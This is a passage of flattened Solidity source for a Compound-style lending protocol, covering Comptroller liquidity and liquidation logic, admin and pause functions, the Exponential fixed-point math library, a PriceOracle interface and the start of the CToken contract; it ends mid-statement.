(Error, uint, uint) { AccountLiquidityLocalVars memory vars; // Holds all our calculation results uint oErr; MathError mErr; // For each asset the account is in CToken[] memory assets = accountAssets[account]; for (uint i = 0; i < assets.length; i++) { CToken asset = assets[i]; // Read the balances and exchange rate from the cToken (oErr, vars.cTokenBalance, vars.borrowBalance, vars.exchangeRateMantissa) = asset.getAccountSnapshot(account); if (oErr != 0) { // semi-opaque error code, we assume NO_ERROR == 0 is invariant between upgrades return (Error.SNAPSHOT_ERROR, 0, 0); } vars.collateralFactor = Exp({mantissa: markets[address(asset)].collateralFactorMantissa}); vars.exchangeRate = Exp({mantissa: vars.exchangeRateMantissa}); // Get the normalized price of the asset vars.oraclePriceMantissa = oracle.getUnderlyingPrice(asset); if (vars.oraclePriceMantissa == 0) { return (Error.PRICE_ERROR, 0, 0); } vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa}); // Pre-compute a conversion factor from tokens -> ether (normalized price value) (mErr, vars.tokensToEther) = mulExp3(vars.collateralFactor, vars.exchangeRate, vars.oraclePrice); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // sumCollateral += tokensToEther * cTokenBalance (mErr, vars.sumCollateral) = mulScalarTruncateAddUInt(vars.tokensToEther, vars.cTokenBalance, vars.sumCollateral); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // sumBorrowPlusEffects += oraclePrice * borrowBalance (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, vars.borrowBalance, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // Calculate effects of interacting with cTokenModify if (asset == cTokenModify) { // redeem effect // sumBorrowPlusEffects += tokensToEther * redeemTokens (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.tokensToEther, redeemTokens, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } // borrow effect // sumBorrowPlusEffects += oraclePrice * borrowAmount (mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, borrowAmount, vars.sumBorrowPlusEffects); if (mErr != MathError.NO_ERROR) { return (Error.MATH_ERROR, 0, 0); } } } // These are safe, as the underflow condition is checked first if (vars.sumCollateral > vars.sumBorrowPlusEffects) { return (Error.NO_ERROR, vars.sumCollateral - vars.sumBorrowPlusEffects, 0); } else { return (Error.NO_ERROR, 0, vars.sumBorrowPlusEffects - vars.sumCollateral); } } /** * @notice Calculate number of tokens of collateral asset to seize given an underlying amount * @dev Used in liquidation (called in cToken.liquidateBorrowFresh) * @param cTokenBorrowed The address of the borrowed cToken * @param cTokenCollateral The address of the collateral cToken * @param actualRepayAmount The amount of cTokenBorrowed underlying to convert into cTokenCollateral tokens * @return (errorCode, number of cTokenCollateral tokens to be seized in a liquidation) */ function liquidateCalculateSeizeTokens(address cTokenBorrowed, address cTokenCollateral, uint actualRepayAmount) external view returns (uint, uint) { /* Read oracle prices for borrowed and collateral markets */ uint priceBorrowedMantissa = oracle.getUnderlyingPrice(CToken(cTokenBorrowed)); uint priceCollateralMantissa = oracle.getUnderlyingPrice(CToken(cTokenCollateral)); if (priceBorrowedMantissa == 0 || priceCollateralMantissa == 0) { return (uint(Error.PRICE_ERROR), 0); } /* * Get the exchange rate and calculate the number of collateral tokens to seize: * seizeAmount = actualRepayAmount * liquidationIncentive * priceBorrowed / priceCollateral * seizeTokens = seizeAmount / exchangeRate * = actualRepayAmount * (liquidationIncentive * priceBorrowed) / (priceCollateral * exchangeRate) */ uint exchangeRateMantissa = CToken(cTokenCollateral).exchangeRateStored(); // Note: reverts on error uint seizeTokens; Exp memory numerator; Exp memory denominator; Exp memory ratio; MathError mathErr; (mathErr, numerator) = mulExp(liquidationIncentiveMantissa, priceBorrowedMantissa); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, denominator) = mulExp(priceCollateralMantissa, exchangeRateMantissa); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, ratio) = divExp(numerator, denominator); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } (mathErr, seizeTokens) = mulScalarTruncate(ratio, actualRepayAmount); if (mathErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0); } return (uint(Error.NO_ERROR), seizeTokens); } /*** Admin Functions ***/ /** * @notice Sets a new price oracle for the comptroller * @dev Admin function to set a new price oracle * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPriceOracle(PriceOracle newOracle) public returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PRICE_ORACLE_OWNER_CHECK); } // Track the old oracle for the comptroller PriceOracle oldOracle = oracle; // Set comptroller's oracle to newOracle oracle = newOracle; // Emit NewPriceOracle(oldOracle, newOracle) emit NewPriceOracle(oldOracle, newOracle); return uint(Error.NO_ERROR); } /** * @notice Sets the closeFactor used when liquidating borrows * @dev Admin function to set closeFactor * @param newCloseFactorMantissa New close factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCloseFactor(uint newCloseFactorMantissa) external returns (uint256) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_CLOSE_FACTOR_OWNER_CHECK); } Exp memory newCloseFactorExp = Exp({mantissa: newCloseFactorMantissa}); Exp memory lowLimit = Exp({mantissa: closeFactorMinMantissa}); if (lessThanOrEqualExp(newCloseFactorExp, lowLimit)) { return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION); } Exp memory highLimit = Exp({mantissa: closeFactorMaxMantissa}); if (lessThanExp(highLimit, newCloseFactorExp)) { return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION); } uint oldCloseFactorMantissa = closeFactorMantissa; closeFactorMantissa = newCloseFactorMantissa; emit NewCloseFactor(oldCloseFactorMantissa, closeFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets the collateralFactor for a market * @dev Admin function to set per-market collateralFactor * @param cToken The market to set the factor on * @param newCollateralFactorMantissa The new collateral factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCollateralFactor(CToken cToken, uint newCollateralFactorMantissa) external returns (uint256) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COLLATERAL_FACTOR_OWNER_CHECK); } // Verify market is listed Market storage market = markets[address(cToken)]; if (!market.isListed) { return fail(Error.MARKET_NOT_LISTED, FailureInfo.SET_COLLATERAL_FACTOR_NO_EXISTS); } Exp memory newCollateralFactorExp = Exp({mantissa: newCollateralFactorMantissa}); // Check collateral factor <= 0.9 Exp memory highLimit = Exp({mantissa: collateralFactorMaxMantissa}); if (lessThanExp(highLimit, newCollateralFactorExp)) { return fail(Error.INVALID_COLLATERAL_FACTOR, FailureInfo.SET_COLLATERAL_FACTOR_VALIDATION); } // If collateral factor != 0, fail if price == 0 if (newCollateralFactorMantissa != 0 && oracle.getUnderlyingPrice(cToken) == 0) { return fail(Error.PRICE_ERROR, FailureInfo.SET_COLLATERAL_FACTOR_WITHOUT_PRICE); } // Set market's collateral factor to new collateral factor, remember old value uint oldCollateralFactorMantissa = market.collateralFactorMantissa; market.collateralFactorMantissa = newCollateralFactorMantissa; // Emit event with asset, old collateral factor, and new collateral factor emit NewCollateralFactor(cToken, oldCollateralFactorMantissa, newCollateralFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets maxAssets which controls how many markets can be entered * @dev Admin function to set maxAssets * @param newMaxAssets New max assets * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setMaxAssets(uint newMaxAssets) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_MAX_ASSETS_OWNER_CHECK); } uint oldMaxAssets = maxAssets; maxAssets = newMaxAssets; emit NewMaxAssets(oldMaxAssets, newMaxAssets); return uint(Error.NO_ERROR); } /** * @notice Sets liquidationIncentive * @dev Admin function to set liquidationIncentive * @param newLiquidationIncentiveMantissa New liquidationIncentive scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setLiquidationIncentive(uint newLiquidationIncentiveMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_LIQUIDATION_INCENTIVE_OWNER_CHECK); } // Check de-scaled min <= newLiquidationIncentive <= max Exp memory newLiquidationIncentive = Exp({mantissa: newLiquidationIncentiveMantissa}); Exp memory minLiquidationIncentive = Exp({mantissa: liquidationIncentiveMinMantissa}); if (lessThanExp(newLiquidationIncentive, minLiquidationIncentive)) { return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION); } Exp memory maxLiquidationIncentive = Exp({mantissa: liquidationIncentiveMaxMantissa}); if (lessThanExp(maxLiquidationIncentive, newLiquidationIncentive)) { return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION); } // Save current value for use in log uint oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa; // Set liquidation incentive to new incentive liquidationIncentiveMantissa = newLiquidationIncentiveMantissa; // Emit event with old incentive, new incentive emit NewLiquidationIncentive(oldLiquidationIncentiveMantissa, newLiquidationIncentiveMantissa); return uint(Error.NO_ERROR); } /** * @notice Add the market to the markets mapping and set it as listed * @dev Admin function to set isListed and add support for the market * @param cToken The address of the market (token) to list * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _supportMarket(CToken cToken) external returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SUPPORT_MARKET_OWNER_CHECK); } if (markets[address(cToken)].isListed) { return fail(Error.MARKET_ALREADY_LISTED, FailureInfo.SUPPORT_MARKET_EXISTS); } cToken.isCToken(); // Sanity check to make sure its really a CToken markets[address(cToken)] = Market({isListed: true, isComped: false, collateralFactorMantissa: 0}); emit MarketListed(cToken); return uint(Error.NO_ERROR); } /** * @notice Admin function to change the Pause Guardian * @param newPauseGuardian The address of the new Pause Guardian * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _setPauseGuardian(address newPauseGuardian) public returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PAUSE_GUARDIAN_OWNER_CHECK); } // Save current value for inclusion in log address oldPauseGuardian = pauseGuardian; // Store pauseGuardian with value newPauseGuardian pauseGuardian = newPauseGuardian; // Emit NewPauseGuardian(OldPauseGuardian, NewPauseGuardian) emit NewPauseGuardian(oldPauseGuardian, pauseGuardian); return uint(Error.NO_ERROR); } function _setMintPaused(CToken cToken, bool state) public returns (bool) { require(markets[address(cToken)].isListed, "cannot pause a market that is not listed"); require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); mintGuardianPaused[address(cToken)] = state; emit ActionPaused(cToken, "Mint", state); return state; } function _setBorrowPaused(CToken cToken, bool state) public returns (bool) { require(markets[address(cToken)].isListed, "cannot pause a market that is not listed"); require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); borrowGuardianPaused[address(cToken)] = state; emit ActionPaused(cToken, "Borrow", state); return state; } function _setTransferPaused(bool state) public returns (bool) { require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); transferGuardianPaused = state; emit ActionPaused("Transfer", state); return state; } function _setSeizePaused(bool state) public returns (bool) { require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); seizeGuardianPaused = state; emit ActionPaused("Seize", state); return state; } function _become(Unitroller unitroller) public { require(msg.sender == unitroller.admin(), "only unitroller admin can change brains"); uint changeStatus = unitroller._acceptImplementation(); require(changeStatus == 0, "change not authorized"); } } pragma solidity ^0.5.16; import "./CarefulMath.sol"; /** * @title Exponential module for storing fixed-precision decimals * @author Compound * @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places. * Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is: * `Exp({mantissa: 5100000000000000000})`. */ contract Exponential is CarefulMath { uint constant expScale = 1e18; uint constant doubleScale = 1e36; uint constant halfExpScale = expScale/2; uint constant mantissaOne = expScale; struct Exp { uint mantissa; } struct Double { uint mantissa; } /** * @dev Creates an exponential from numerator and denominator values. * Note: Returns an error if (`num` * 10e18) > MAX_INT, * or if `denom` is zero. */ function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledNumerator) = mulUInt(num, expScale); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } (MathError err1, uint rational) = divUInt(scaledNumerator, denom); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: rational})); } /** * @dev Adds two exponentials, returning a new exponential. */ function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = addUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Subtracts two exponentials, returning a new exponential. */ function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = subUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Multiply an Exp by a scalar, returning a new Exp. */ function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa})); } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(product)); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return addUInt(truncate(product), addend); } /** * @dev Divide an Exp by a scalar, returning a new Exp. */ function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa})); } /** * @dev Divide a scalar by an Exp, returning a new Exp. */ function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) { /* We are doing this as: getExp(mulUInt(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ (MathError err0, uint numerator) = mulUInt(expScale, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return getExp(numerator, divisor.mantissa); } /** * @dev Divide a scalar by an Exp, then truncate to return an unsigned integer. */ function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) { (MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(fraction)); } /** * @dev Multiplies two exponentials, returning a new exponential. */ function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } // We add half the scale before dividing so that we get rounding instead of truncation. // See "Listing 6" and text above it at https://accu.org/index.php/journals/1717 // Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18. (MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } (MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale); // The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero. assert(err2 == MathError.NO_ERROR); return (MathError.NO_ERROR, Exp({mantissa: product})); } /** * @dev Multiplies two exponentials given their mantissas, returning a new exponential. */ function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) { return mulExp(Exp({mantissa: a}), Exp({mantissa: b})); } /** * @dev Multiplies three exponentials, returning a new exponential. */ function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) { (MathError err, Exp memory ab) = mulExp(a, b); if (err != MathError.NO_ERROR) { return (err, ab); } return mulExp(ab, c); } /** * @dev Divides two exponentials, returning a new exponential. * (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b, * which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa) */ function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { return getExp(a.mantissa, b.mantissa); } /** * @dev Truncates the given exp to a whole number value. * For example, truncate(Exp{mantissa: 15 * expScale}) = 15 */ function truncate(Exp memory exp) pure internal returns (uint) { // Note: We are not using careful math here as we're performing a division that cannot fail return exp.mantissa / expScale; } /** * @dev Checks if first Exp is less than second Exp. */ function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa < right.mantissa; } /** * @dev Checks if left Exp <= right Exp. */ function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa <= right.mantissa; } /** * @dev Checks if left Exp > right Exp. */ function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa > right.mantissa; } /** * @dev returns true if Exp is exactly zero */ function isZeroExp(Exp memory value) pure internal returns (bool) { return value.mantissa == 0; } function safe224(uint n, string memory errorMessage) pure internal returns (uint224) { require(n < 2**224, errorMessage); return uint224(n); } function safe32(uint n, string memory errorMessage) pure internal returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(uint a, uint b) pure internal returns (uint) { return add_(a, b, "addition overflow"); } function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(uint a, uint b) pure internal returns (uint) { return sub_(a, b, "subtraction underflow"); } function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b <= a, errorMessage); return a - b; } function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale}); } function mul_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Exp memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / expScale; } function mul_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale}); } function mul_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Double memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / doubleScale; } function mul_(uint a, uint b) pure internal returns (uint) { return mul_(a, b, "multiplication overflow"); } function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { if (a == 0 || b == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)}); } function div_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Exp memory b) pure internal returns (uint) { return div_(mul_(a, expScale), b.mantissa); } function div_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)}); } function div_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Double memory b) pure internal returns (uint) { return div_(mul_(a, doubleScale), b.mantissa); } function div_(uint a, uint b) pure internal returns (uint) { return div_(a, b, "divide by zero"); } function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b > 0, errorMessage); return a / b; } function fraction(uint a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a, doubleScale), b)}); } } pragma solidity ^0.5.16; import "./CToken.sol"; contract PriceOracle { /// @notice Indicator that this is a PriceOracle contract (for inspection) bool public constant isPriceOracle = true; /** * @notice Get the underlying price of a cToken asset * @param cToken The cToken to get the underlying price of * @return The underlying asset price mantissa (scaled by 1e18). * Zero means the price is unavailable. */ function getUnderlyingPrice(CToken cToken) external view returns (uint); } pragma solidity ^0.5.16; import "./ComptrollerInterface.sol"; import "./CTokenInterfaces.sol"; import "./ErrorReporter.sol"; import "./Exponential.sol"; import "./EIP20Interface.sol"; import "./EIP20NonStandardInterface.sol"; import "./InterestRateModel.sol"; /** * @title Compound's CToken Contract * @notice Abstract base for CTokens * @author Compound */ contract CToken is CTokenInterface, Exponential, TokenErrorReporter { /** * @notice Initialize the money market * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ EIP-20 name of this token * @param symbol_ EIP-20 symbol of this token * @param decimals_ EIP-20 decimal precision of this token */ function initialize(ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_) public { require(msg.sender == admin, "only admin may initialize the market"); require(accrualBlockNumber == 0 && borrowIndex == 0, "market may only be initialized once"); // Set initial exchange rate initialExchangeRateMantissa = initialExchangeRateMantissa_; require(initialExchangeRateMantissa > 0, "initial exchange rate must be greater than zero."); // Set the comptroller uint err = _setComptroller(comptroller_); require(err == uint(Error.NO_ERROR), "setting comptroller failed"); // Initialize block number and borrow index (block number mocks depend on comptroller being set) accrualBlockNumber = getBlockNumber(); borrowIndex = mantissaOne; // Set the interest rate model (depends on block number / borrow index) err = _setInterestRateModelFresh(interestRateModel_); require(err == uint(Error.NO_ERROR), "setting interest rate model failed"); name = name_; symbol = symbol_; decimals = decimals_; // The counter starts true to prevent changing it from zero to non-zero (i.e. smaller cost/refund) _notEntered = true; } /** * @notice Transfer `tokens` tokens from `src` to `dst` by `spender` * @dev Called by both `transfer` and `transferFrom` internally * @param spender The address of the account performing the transfer * @param src The address of the source account * @param dst The address of the destination account * @param tokens The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferTokens(address spender, address src, address dst, uint tokens) internal returns (uint) { /* Fail if transfer not allowed */ uint allowed = comptroller.transferAllowed(address(this), src, dst, tokens); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.TRANSFER_COMPTROLLER_REJECTION, allowed); } /* Do not allow self-transfers */ if (src == dst) { return fail(Error.BAD_INPUT, FailureInfo.TRANSFER_NOT_ALLOWED); } /* Get the allowance, infinite for the account owner */ uint startingAllowance = 0; if (spender == src) { startingAllowance = uint(-1); } else { startingAllowance = transferAllowances[src][spender]; } /* Do the calculations, checking for {under,over}flow */ MathError mathErr; uint allowanceNew; uint srcTokensNew; uint dstTokensNew; (mathErr, allowanceNew) = subUInt(startingAllowance, tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ALLOWED); } (mathErr, srcTokensNew) = subUInt(accountTokens[src], tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ENOUGH); } (mathErr, dstTokensNew) = addUInt(accountTokens[dst], tokens); if (mathErr != MathError.NO_ERROR) { return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_TOO_MUCH); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) accountTokens[src] = srcTokensNew; accountTokens[dst] = dstTokensNew; /* Eat some of the allowance (if necessary) */ if (startingAllowance != uint(-1)) { transferAllowances[src][spender] = allowanceNew; } /* We emit a Transfer event */ emit Transfer(src, dst, tokens); comptroller.transferVerify(address(this), src, dst, tokens); return uint(Error.NO_ERROR); } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external nonReentrant returns (bool) { return transferTokens(msg.sender, msg.sender, dst, amount) == uint(Error.NO_ERROR); } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external nonReentrant returns (bool) { return transferTokens(msg.sender, src, dst, amount) == uint(Error.NO_ERROR); } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool) { address src = msg.sender; transferAllowances[src][spender] = amount; emit Approval(src, spender, amount); return true; } /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint256) { return transferAllowances[owner][spender]; } /** * @notice Get the token balance of the `owner` * @param owner The address of the account to query * @return The number of tokens owned by `owner` */ function balanceOf(address owner) external view returns (uint256) { return accountTokens[owner]; } /** * @notice Get the underlying balance of the `owner` * @dev This also accrues interest in a transaction * @param owner The address of the account to query * @return The amount of underlying owned by `owner` */ function balanceOfUnderlying(address owner) external returns (uint) { Exp memory exchangeRate = Exp({mantissa: exchangeRateCurrent()}); (MathError mErr, uint balance) = mulScalarTruncate(exchangeRate, accountTokens[owner]); require(mErr == MathError.NO_ERROR, "balance could not be calculated"); return balance; } /** * @notice Get a snapshot of the account's balances, and the cached exchange rate * @dev This is used by comptroller to more efficiently perform liquidity checks. * @param account Address of the account to snapshot * @return (possible error, token balance, borrow balance, exchange rate mantissa) */ function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint) { uint cTokenBalance = accountTokens[account]; uint borrowBalance; uint exchangeRateMantissa; MathError mErr; (mErr, borrowBalance) = borrowBalanceStoredInternal(account); if (mErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0, 0, 0); } (mErr, exchangeRateMantissa) = exchangeRateStoredInternal(); if (mErr != MathError.NO_ERROR) { return (uint(Error.MATH_ERROR), 0, 0, 0); } return (uint(Error.NO_ERROR), cTokenBalance, borrowBalance, exchangeRateMantissa); } /** * @dev Function to simply retrieve block number * This exists mainly for inheriting test contracts to stub this result. */ function getBlockNumber() internal view returns (uint) { return block.number; } /** * @notice Returns the current per-block borrow interest rate for this cToken * @return The borrow interest rate per block, scaled by 1e18 */ function borrowRatePerBlock() external view returns (uint) { return interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves); } /** * @notice Returns the current per-block supply interest rate for this cToken * @return The supply interest rate per block, scaled by 1e18 */ function supplyRatePerBlock() external view returns (uint) { return interestRateModel.getSupplyRate(getCashPrior(), totalBorrows, totalReserves, reserveFactorMantissa); } /** * @notice Returns the current total borrows plus accrued interest * @return The total borrows with interest */ function totalBorrowsCurrent() external nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return totalBorrows; } /** * @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex * @param account The address whose balance should be calculated after updating borrowIndex * @return The calculated balance */ function borrowBalanceCurrent(address account) external nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return borrowBalanceStored(account); } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return The calculated balance */ function borrowBalanceStored(address account) public view returns (uint) { (MathError err, uint result) = borrowBalanceStoredInternal(account); require(err == MathError.NO_ERROR, "borrowBalanceStored: borrowBalanceStoredInternal failed"); return result; } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return (error code, the calculated balance or 0 if error code is non-zero) */ function borrowBalanceStoredInternal(address account) internal view returns (MathError, uint) { /* Note: we do not assert that the market is up to date */ MathError mathErr; uint principalTimesIndex; uint result; /* Get borrowBalance and borrowIndex */ BorrowSnapshot storage borrowSnapshot = accountBorrows[account]; /* If borrowBalance = 0 then borrowIndex is likely also 0. * Rather than failing the calculation with a division by 0, we immediately return 0 in this case. */ if (borrowSnapshot.principal == 0) { return (MathError.NO_ERROR, 0); } /* Calculate new borrow balance using the interest index: * recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex */ (mathErr, principalTimesIndex) = mulUInt(borrowSnapshot.principal, 